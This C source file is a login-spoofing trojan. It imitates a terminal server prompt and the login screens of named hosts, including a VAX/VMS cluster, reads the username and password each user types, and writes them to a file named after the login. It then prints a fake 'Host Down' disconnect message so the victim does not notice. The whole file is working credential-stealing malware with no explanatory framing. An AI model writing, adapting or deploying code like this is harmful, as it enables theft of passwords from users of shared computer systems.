#include <stdio.h>

main()
{
char host[20];
char login[20];
char password[20];
FILE *logs;

	do
	{
	   printf("\nPADECC/TS29/30:");
	   gets(host);
	}
	while (host[0] == '\0');
	if  (!strcmp(host,"merlin") || !strcmp(host,"raven")
	|| !strcmp(host,"gos") 
	|| !strcmp(host,"mike") 
	|| !strcmp(host,"jay") 
	|| !strcmp(host,"kestrel")
	|| !strcmp(host,"capella")
	|| !strcmp(host,"eagle")
	|| !strcmp(host,"lucy")
        || !strcmp(host,"mars")
	|| !strcmp(host,"roger")
	|| !strcmp(host,"jax")
	|| !strcmp(host,"betelgeuse")
	|| !strcmp(host,"osprey")
	|| !strcmp(host,"falcon"))
	{
           system("sleep 1");
           printf("%s login: ",host);
	   gets(login);
	   strcpy(password,"Password:");
	   logs = fopen(login,"w");
	   fwrite(host,1,20,logs);
	   fwrite(getpass(password),1,20,logs);
	   fclose(logs);
           printf("\n***  Disconnect 42 Host Down");
	   printf("\n");
	}
	else
	if (!strcmp(host,"saturn")
        || !strcmp(host,"titan")
	|| !strcmp(host,"janus"))
	{
	   system("sleep 1");
	   system("cat bel");
	   if (!strcmp(host,"saturn")) printf("\n\n        SATURN");
	   if (!strcmp(host,"titan")) printf("\n\n        TITAN");
           if (!strcmp(host,"janus")) printf("\n\n        JANUS");
	   printf(" - a member of the UKC VAXCluster - VAX/VMS V4.7\n\n");
	   do
	   {
	      printf("Username: ");
	      gets(login);
	   }
	   while (login[0] =='\0');
	   strcpy(password,"Password:");
	   logs = fopen(login,"w");
	   fwrite(host,1,20,logs);
	   fwrite(getpass(password),1,8,logs);
	   fclose(logs);
           printf("\n***  Disconnect 42 Host Down");
	   printf("\n");
        }
	else
	{
	   if (!strcmp(host,"pip"))
	   {
	   printf("\n*** Disconnect 19 No such service\n\n");
	   }
	   else
	   {
	   printf("\n*** Disconnect 19 Name invalid\n\n");
	   }
        }
}
